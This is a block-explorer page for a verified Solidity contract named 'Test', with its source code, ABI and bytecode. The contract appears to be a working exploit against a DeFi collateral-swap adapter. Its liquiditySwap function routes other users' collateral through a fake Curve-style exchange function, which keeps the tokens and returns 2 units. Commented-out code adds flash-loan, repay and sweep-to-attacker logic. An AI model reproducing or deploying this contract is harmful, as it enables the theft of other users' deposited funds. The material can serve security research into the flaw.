Source Code
Latest 1 from a total of 1 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Liquidity Swap | 27717730 | 83 days ago | IN | 0 FRAX | 0.00010731 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Test
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity >=0.7.0 <0.9.0;
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address o) external view returns (uint);
function transfer(address to, uint m) external;
function transferFrom(address f, address t, uint m) external;
function approve(address spender, uint m) external;
}
interface IWeth {
function deposit() external payable;
function withdraw(uint m) external;
}
interface ICToken {
function UNDERLYING_ASSET_ADDRESS()
external
view
returns (address);
}
interface IPool {
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
//timestamp of last update
uint40 lastUpdateTimestamp;
//the id of the reserve. Represents the position in the list of the active reserves
uint16 id;
//aToken address
address aTokenAddress;
//stableDebtToken address
address stableDebtTokenAddress;
//variableDebtToken address
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the current treasury balance, scaled
uint128 accruedToTreasury;
//the outstanding unbacked aTokens minted through the bridging feature
uint128 unbacked;
//the outstanding debt borrowed against this asset in isolation mode
uint128 isolationModeTotalDebt;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60: asset is paused
//bit 61: borrowing in isolation mode is enabled
//bit 62: siloed borrowing enabled
//bit 63: flashloaning enabled
//bit 64-79: reserve factor
//bit 80-115 borrow cap in whole tokens, borrowCap == 0 => no cap
//bit 116-151 supply cap in whole tokens, supplyCap == 0 => no cap
//bit 152-167 liquidation protocol fee
//bit 168-175 eMode category
//bit 176-211 unbacked mint cap in whole tokens, unbackedMintCap == 0 => minting disabled
//bit 212-251 debt ceiling for isolation mode with (ReserveConfiguration::DEBT_CEILING_DECIMALS) decimals
//bit 252-255 unused
uint256 data;
}
function getReservesList() external view returns (address[] memory);
function getReserveData(
address asset
) external view returns (ReserveData memory);
function flashLoanSimple(
address receiverAddress,
address asset,
uint256 amount,
bytes calldata params,
uint16 referralCode
) external;
function getUserAccountData(
address user
)
external
view
returns (
uint256 totalCollateralBase,
uint256 totalDebtBase,
uint256 availableBorrowsBase,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
function repay(
address asset,
uint256 amount,
uint256 interestRateMode,
address onBehalfOf
) external returns (uint256);
enum InterestRateMode {
NONE,
STABLE,
VARIABLE
}
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata interestRateModes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface IAdapter {
struct PermitInput {
address aToken; // the asset to give allowance for
uint256 value; // the amount of asset for the allowance
uint256 deadline; // expiration unix timestamp
uint8 v; // sig v
bytes32 r; // sig r
bytes32 s; // sig s
}
struct LiquiditySwapParams {
address collateralAsset; // the asset to swap collateral from
uint256 collateralAmountToSwap; // the amount of asset to swap from
address newCollateralAsset; // the asset to swap collateral to
uint256 newCollateralAmount; // the minimum amount of new collateral asset to receive
address user; // the address of user
bool withFlashLoan; // true if flashloan is needed to swap collateral, otherwise false
address[11] route; // the route to swap the collateral asset to the debt asset on Curve
uint256[4][5] swapParams; // the swap parameters on Curve
}
function swapLiquidity(
LiquiditySwapParams memory liquiditySwapParams,
PermitInput memory collateralATokenPermit
) external;
struct WithdrawSwapParams {
address oldAsset; // the asset to withdraw and swap from
uint256 oldAssetAmount; // the amount to withdraw
address newAsset; // the asset to swap to
uint256 minAmountToReceive; // the minimum amount of new asset to receive
address user; // the address of user
bytes swapData; // the swap data for Odos
}
function withdrawAndSwap(
WithdrawSwapParams memory withdrawSwapParams,
PermitInput memory permitInput
) external;
}
interface IVault {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
interface IOdosRouter {
struct swapTokenInfo {
address inputToken;
uint256 inputAmount;
address inputReceiver;
address outputToken;
uint256 outputQuote;
uint256 outputMin;
address outputReceiver;
}
function swap(
swapTokenInfo memory tokenInfo,
bytes calldata pathDefinition,
address executor,
uint32 referralCode
)
external
payable
returns (uint256 amountOut);
}
contract Test {
// function run() external {
// // IVault vault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
// // address[] memory tokens = new address[](1);
// // tokens[0] = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
// // uint256[] memory amounts = new uint256[](1);
// // amounts[0] = 2* 1e18;
// // vault.flashLoan(address(this), tokens, amounts, "");
// IPool pool = IPool(0xD76C827Ee2Ce1E37c37Fc2ce91376812d3c9BCE2);
// address[] memory assets = new address[](1);
// assets[0] = 0x211Cc4DD073734dA055fbF44a2b4667d5E5fE5d2;
// uint[] memory amounts = new uint[](1);
// amounts[0] = 10;
// pool.flashLoan(
// address(this),
// assets,
// amounts,
// new uint[](1),
// address(0),
// "",
// 0
// );
// }
// // }
// // function receiveFlashLoan(address[] memory tokens, uint[] memory amounts, uint[] memory feeAmounts, bytes memory userData) external {
// function executeOperation(
// address[] calldata assets,
// uint256[] calldata amounts,
// uint256[] calldata premiums,
// address initiator,
// bytes calldata params
// ) external returns (bool) {
// require(initiator == address(this), "!!");
// IPool pool = IPool(0xD76C827Ee2Ce1E37c37Fc2ce91376812d3c9BCE2);
// IERC20(0x788D96f655735f52c676A133f4dFC53cEC614d4A).approve(address(pool), 2**256-1);
// address[2] memory ret;
// ret[0] = liquiditySwap(0xD3200925Ff2DFB6f4Dfcc4D473DD2Ea690907307, 0x29d0256fe397F6e442464982C4Cba7670646059b, assets[0], 0);
// repay(0xb2CcF74c42C8491c6EbD6388D871E90C3C237077, 0x788D96f655735f52c676A133f4dFC53cEC614d4A, 62*1e6);
// ret[1] = liquiditySwap(0xb2CcF74c42C8491c6EbD6388D871E90C3C237077, 0x12ED58F0744dE71C39118143dCc26977Cb99cDef, 0x788D96f655735f52c676A133f4dFC53cEC614d4A, 340*1e6);
// for(uint i = 0; i < assets.length; i++) {
// IERC20(assets[i]).approve(msg.sender, amounts[i] + premiums[i]);
// }
// for(uint i = 0; i < ret.length; i++) {
// uint amount = IERC20(ret[i]).balanceOf(address(this));
// if (ret[i] == assets[0]) {
// amount -= amounts[0] + premiums[0];
// }
// IERC20(ret[i]).transfer(tx.origin, amount);
// }
// return true;
// }
// function withdraw(address asset) public {
// require(tx.origin == 0xcea838a63e06cF4274d1dE6ab7a9947A92886f45);
// IERC20(asset).transfer(tx.origin, IERC20(asset).balanceOf(address(this)));"330000000000000000000"
// }
function exchange(uint256 i, uint256 j, uint256 amount, uint256) external {
IERC20(address(uint160(i))).transferFrom(msg.sender, address(this), amount);
IERC20(address(uint160(j))).transfer(msg.sender, 2);
}
// function repay(address who, address asset, uint amount) private {
// IPool pool = IPool(0xD76C827Ee2Ce1E37c37Fc2ce91376812d3c9BCE2);
// pool.repay(asset, amount, uint(IPool.InterestRateMode.VARIABLE), who);
// }
function liquiditySwap(address target, address ctoken, address debtAsset, uint amount) public returns (address) {
IAdapter adapter = IAdapter(0x0Fd66456f10D9b850F37Fa129236176B4f982864);
address asset = ICToken(ctoken).UNDERLYING_ASSET_ADDRESS();
uint assetAmount = amount == 0 ? IERC20(ctoken).balanceOf(target) - 1 : amount;
address[11] memory route; // the route to swap the collateral asset to the debt asset on Curve
uint256[4][5] memory swapParams; // the swap parameters on Curve
route[0] = asset;
route[1] = address(this);
route[2] = debtAsset;
swapParams[0][0] = uint(uint160(asset));
swapParams[0][1] = uint(uint160(debtAsset));
swapParams[0][2] = 1;
IAdapter.LiquiditySwapParams memory params = IAdapter.LiquiditySwapParams(
asset,
assetAmount,
debtAsset,
1,
target,
false,
route, // the route to swap the collateral asset to the debt asset on Curve
swapParams // the swap parameters on Curve
);
IAdapter.PermitInput memory permit = IAdapter.PermitInput(
ctoken, // address aToken; // the asset to give allowance for
1, // uint256 value; // the amount of asset for the allowance
0, // uint256 deadline; // expiration unix timestamp
0, // uint8 v; // sig v
"", // bytes32 r; // sig r
"" // bytes32 s; // sig s
);
adapter.swapLiquidity(params, permit);
return asset;
}
// function run1(address target, address debtAsset, address ctoken, address adapterAddr) private {
// IAdapter adapter = IAdapter(adapterAddr);
// address asset = ICToken(ctoken).UNDERLYING_ASSET_ADDRESS();
// uint assetAmount = IERC20(ctoken).balanceOf(target);
// bytes memory swapData = abi.encodeWithSelector(IOdosRouter.swap.selector,
// IOdosRouter.swapTokenInfo(
// asset,
// assetAmount,
// address(this),
// debtAsset,
// 1,
// 1,
// adapterAddr
// ),
// abi.encode(debtAsset, 1),
// address(this),
// 1
// );
// IAdapter.RepayParams memory params = IAdapter.RepayParams(
// asset, //address collateralAsset;
// assetAmount,
// debtAsset,
// 1,
// uint(IPool.InterestRateMode.VARIABLE),
// target,
// 1,
// swapData
// );
// IAdapter.PermitInput memory permit = IAdapter.PermitInput(
// ctoken, // address aToken; // the asset to give allowance for
// 1, // uint256 value; // the amount of asset for the allowance
// 0, // uint256 deadline; // expiration unix timestamp
// 0, // uint8 v; // sig v
// "", // bytes32 r; // sig r
// "" // bytes32 s; // sig s
// );
// adapter.swapAndRepay(params, permit);
// }
function min(uint a, uint b) private pure returns (uint ) {
return a > b ? b : a;
}
// function executePath (
// bytes calldata bytecode,
// uint256[] memory inputAmount,
// address msgSender
// ) external payable {
// (address token, uint amount) = abi.decode(bytecode, (address, uint));
// IERC20(token).transfer(msg.sender, amount);
// }
}
// contract Test02 {
// constructor() {
// Test t = new Test();
// t.run();
// // require(false, "manual!");
// }
// }{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"uint256","name":"i","type":"uint256"},{"internalType":"uint256","name":"j","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"exchange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"address","name":"ctoken","type":"address"},{"internalType":"address","name":"debtAsset","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"liquiditySwap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052348015600e575f80fd5b50610cd68061001c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80635b41b90814610038578063f759567814610054575b5f80fd5b610052600480360381019061004d919061062e565b610084565b005b61006e600480360381019061006991906106ec565b61015d565b60405161007b919061075f565b60405180910390f35b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b81526004016100c193929190610787565b5f604051808303815f87803b1580156100d8575f80fd5b505af11580156100ea573d5f803e3d5ffd5b505050508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360026040518363ffffffff1660e01b815260040161012a9291906107fe565b5f604051808303815f87803b158015610141575f80fd5b505af1158015610153573d5f803e3d5ffd5b5050505050505050565b5f80730fd66456f10d9b850f37fa129236176b4f98286490505f8573ffffffffffffffffffffffffffffffffffffffff1663b16a19de6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e49190610839565b90505f8085146101f45784610279565b60018773ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b815260040161022f919061075f565b602060405180830381865afa15801561024a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026e9190610878565b61027891906108d0565b5b9050610283610585565b61028b6105a8565b83825f600b811061029f5761029e610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030826001600b81106102eb576102ea610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505087826002600b811061033757610336610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508373ffffffffffffffffffffffffffffffffffffffff16815f6005811061039857610397610903565b5b60200201515f600481106103af576103ae610903565b5b6020020181815250508773ffffffffffffffffffffffffffffffffffffffff16815f600581106103e2576103e1610903565b5b60200201516001600481106103fa576103f9610903565b5b6020020181815250506001815f6005811061041857610417610903565b5b60200201516002600481106104305761042f610903565b5b6020020181815250505f6040518061010001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018a73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020018c73ffffffffffffffffffffffffffffffffffffffff1681526020015f151581526020018481526020018381525090505f6040518060c001604052808c73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020015f81526020015f60ff1681526020015f80191681526020015f80191681525090508673ffffffffffffffffffffffffffffffffffffffff1663e172294383836040518363ffffffff1660e01b8152600401610546929190610c77565b5f604051808303815f87803b15801561055d575f80fd5b505af115801561056f573d5f803e3d5ffd5b5050505085975050505050505050949350505050565b604051806101600160405280600b90602082028036833780820191505090505090565b6040518060a001604052806005905b6105bf6105d5565b8152602001906001900390816105b75790505090565b6040518060800160405280600490602082028036833780820191505090505090565b5f80fd5b5f819050919050565b61060d816105fb565b8114610617575f80fd5b50565b5f8135905061062881610604565b92915050565b5f805f8060808587031215610646576106456105f7565b5b5f6106538782880161061a565b94505060206106648782880161061a565b93505060406106758782880161061a565b92505060606106868782880161061a565b91505092959194509250565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106bb82610692565b9050919050565b6106cb816106b1565b81146106d5575f80fd5b50565b5f813590506106e6816106c2565b92915050565b5f805f8060808587031215610704576107036105f7565b5b5f610711878288016106d8565b9450506020610722878288016106d8565b9350506040610733878288016106d8565b92505060606107448782880161061a565b91505092959194509250565b610759816106b1565b82525050565b5f6020820190506107725f830184610750565b92915050565b610781816105fb565b82525050565b5f60608201905061079a5f830186610750565b6107a76020830185610750565b6107b46040830184610778565b949350505050565b5f819050919050565b5f819050919050565b5f6107e86107e36107de846107bc565b6107c5565b6105fb565b9050919050565b6107f8816107ce565b82525050565b5f6040820190506108115f830185610750565b61081e60208301846107ef565b9392505050565b5f81519050610833816106c2565b92915050565b5f6020828403121561084e5761084d6105f7565b5b5f61085b84828501610825565b91505092915050565b5f8151905061087281610604565b92915050565b5f6020828403121561088d5761088c6105f7565b5b5f61089a84828501610864565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6108da826105fb565b91506108e5836105fb565b92508282039050818111156108fd576108fc6108a3565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610939816106b1565b82525050565b610948816105fb565b82525050565b5f8115159050919050565b6109628161094e565b82525050565b5f600b9050919050565b5f81905092915050565b5f819050919050565b5f6109908383610930565b60208301905092915050565b5f602082019050919050565b6109b181610968565b6109bb8184610972565b92506109c68261097c565b805f5b838110156109f65781516109dd8782610985565b96506109e88361099c565b9250506001810190506109c9565b505050505050565b5f60059050919050565b5f81905092915050565b5f819050919050565b5f60049050919050565b5f81905092915050565b5f819050919050565b5f610a43838361093f565b60208301905092915050565b5f602082019050919050565b610a6481610a1b565b610a6e8184610a25565b9250610a7982610a2f565b805f5b83811015610aa9578151610a908782610a38565b9650610a9b83610a4f565b925050600181019050610a7c565b505050505050565b5f610abc8383610a5b565b60808301905092915050565b5f602082019050919050565b610add816109fe565b610ae78184610a08565b9250610af282610a12565b805f5b83811015610b22578151610b098782610ab1565b9650610b1483610ac8565b925050600181019050610af5565b505050505050565b6104a082015f820151610b3f5f850182610930565b506020820151610b52602085018261093f565b506040820151610b656040850182610930565b506060820151610b78606085018261093f565b506080820151610b8b6080850182610930565b5060a0820151610b9e60a0850182610959565b5060c0820151610bb160c08501826109a8565b5060e0820151610bc5610220850182610ad4565b50505050565b5f60ff82169050919050565b610be081610bcb565b82525050565b5f819050919050565b610bf881610be6565b82525050565b60c082015f820151610c125f850182610930565b506020820151610c25602085018261093f565b506040820151610c38604085018261093f565b506060820151610c4b6060850182610bd7565b506080820151610c5e6080850182610bef565b5060a0820151610c7160a0850182610bef565b50505050565b5f61056082019050610c8b5f830185610b2a565b610c996104a0830184610bfe565b939250505056fea2646970667358221220b97a783636c8968d8183f2e3e712c14bc3f89cc12b975745cf3e848b188571eb64736f6c634300081a0033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80635b41b90814610038578063f759567814610054575b5f80fd5b610052600480360381019061004d919061062e565b610084565b005b61006e600480360381019061006991906106ec565b61015d565b60405161007b919061075f565b60405180910390f35b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b81526004016100c193929190610787565b5f604051808303815f87803b1580156100d8575f80fd5b505af11580156100ea573d5f803e3d5ffd5b505050508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360026040518363ffffffff1660e01b815260040161012a9291906107fe565b5f604051808303815f87803b158015610141575f80fd5b505af1158015610153573d5f803e3d5ffd5b5050505050505050565b5f80730fd66456f10d9b850f37fa129236176b4f98286490505f8573ffffffffffffffffffffffffffffffffffffffff1663b16a19de6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e49190610839565b90505f8085146101f45784610279565b60018773ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b815260040161022f919061075f565b602060405180830381865afa15801561024a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026e9190610878565b61027891906108d0565b5b9050610283610585565b61028b6105a8565b83825f600b811061029f5761029e610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030826001600b81106102eb576102ea610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505087826002600b811061033757610336610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508373ffffffffffffffffffffffffffffffffffffffff16815f6005811061039857610397610903565b5b60200201515f600481106103af576103ae610903565b5b6020020181815250508773ffffffffffffffffffffffffffffffffffffffff16815f600581106103e2576103e1610903565b5b60200201516001600481106103fa576103f9610903565b5b6020020181815250506001815f6005811061041857610417610903565b5b60200201516002600481106104305761042f610903565b5b6020020181815250505f6040518061010001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018a73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020018c73ffffffffffffffffffffffffffffffffffffffff1681526020015f151581526020018481526020018381525090505f6040518060c001604052808c73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020015f81526020015f60ff1681526020015f80191681526020015f80191681525090508673ffffffffffffffffffffffffffffffffffffffff1663e172294383836040518363ffffffff1660e01b8152600401610546929190610c77565b5f604051808303815f87803b15801561055d575f80fd5b505af115801561056f573d5f803e3d5ffd5b5050505085975050505050505050949350505050565b604051806101600160405280600b90602082028036833780820191505090505090565b6040518060a001604052806005905b6105bf6105d5565b8152602001906001900390816105b75790505090565b6040518060800160405280600490602082028036833780820191505090505090565b5f80fd5b5f819050919050565b61060d816105fb565b8114610617575f80fd5b50565b5f8135905061062881610604565b92915050565b5f805f8060808587031215610646576106456105f7565b5b5f6106538782880161061a565b94505060206106648782880161061a565b93505060406106758782880161061a565b92505060606106868782880161061a565b91505092959194509250565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106bb82610692565b9050919050565b6106cb816106b1565b81146106d5575f80fd5b50565b5f813590506106e6816106c2565b92915050565b5f805f8060808587031215610704576107036105f7565b5b5f610711878288016106d8565b9450506020610722878288016106d8565b9350506040610733878288016106d8565b92505060606107448782880161061a565b91505092959194509250565b610759816106b1565b82525050565b5f6020820190506107725f830184610750565b92915050565b610781816105fb565b82525050565b5f60608201905061079a5f830186610750565b6107a76020830185610750565b6107b46040830184610778565b949350505050565b5f819050919050565b5f819050919050565b5f6107e86107e36107de846107bc565b6107c5565b6105fb565b9050919050565b6107f8816107ce565b82525050565b5f6040820190506108115f830185610750565b61081e60208301846107ef565b9392505050565b5f81519050610833816106c2565b92915050565b5f6020828403121561084e5761084d6105f7565b5b5f61085b84828501610825565b91505092915050565b5f8151905061087281610604565b92915050565b5f6020828403121561088d5761088c6105f7565b5b5f61089a84828501610864565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6108da826105fb565b91506108e5836105fb565b92508282039050818111156108fd576108fc6108a3565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610939816106b1565b82525050565b610948816105fb565b82525050565b5f8115159050919050565b6109628161094e565b82525050565b5f600b9050919050565b5f81905092915050565b5f819050919050565b5f6109908383610930565b60208301905092915050565b5f602082019050919050565b6109b181610968565b6109bb8184610972565b92506109c68261097c565b805f5b838110156109f65781516109dd8782610985565b96506109e88361099c565b9250506001810190506109c9565b505050505050565b5f60059050919050565b5f81905092915050565b5f819050919050565b5f60049050919050565b5f81905092915050565b5f819050919050565b5f610a43838361093f565b60208301905092915050565b5f602082019050919050565b610a6481610a1b565b610a6e8184610a25565b9250610a7982610a2f565b805f5b83811015610aa9578151610a908782610a38565b9650610a9b83610a4f565b925050600181019050610a7c565b505050505050565b5f610abc8383610a5b565b60808301905092915050565b5f602082019050919050565b610add816109fe565b610ae78184610a08565b9250610af282610a12565b805f5b83811015610b22578151610b098782610ab1565b9650610b1483610ac8565b925050600181019050610af5565b505050505050565b6104a082015f820151610b3f5f850182610930565b506020820151610b52602085018261093f565b506040820151610b656040850182610930565b506060820151610b78606085018261093f565b506080820151610b8b6080850182610930565b5060a0820151610b9e60a0850182610959565b5060c0820151610bb160c08501826109a8565b5060e0820151610bc5610220850182610ad4565b50505050565b5f60ff82169050919050565b610be081610bcb565b82525050565b5f819050919050565b610bf881610be6565b82525050565b60c082015f820151610c125f850182610930565b506020820151610c25602085018261093f565b506040820151610c38604085018261093f565b506060820151610c4b6060850182610bd7565b506080820151610c5e6080850182610bef565b5060a0820151610c7160a0850182610bef565b50505050565b5f61056082019050610c8b5f830185610b2a565b610c996104a0830184610bfe565b939250505056fea2646970667358221220b97a783636c8968d8183f2e3e712c14bc3f89cc12b975745cf3e848b188571eb64736f6c634300081a0033
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$402.60
Net Worth in FRAX
495.64168
Token Allocations
SUSDE
100.00%
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|---|---|---|---|---|
| FRAXTAL | 100.00% | $1.22 | 330 | $402.6 |
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.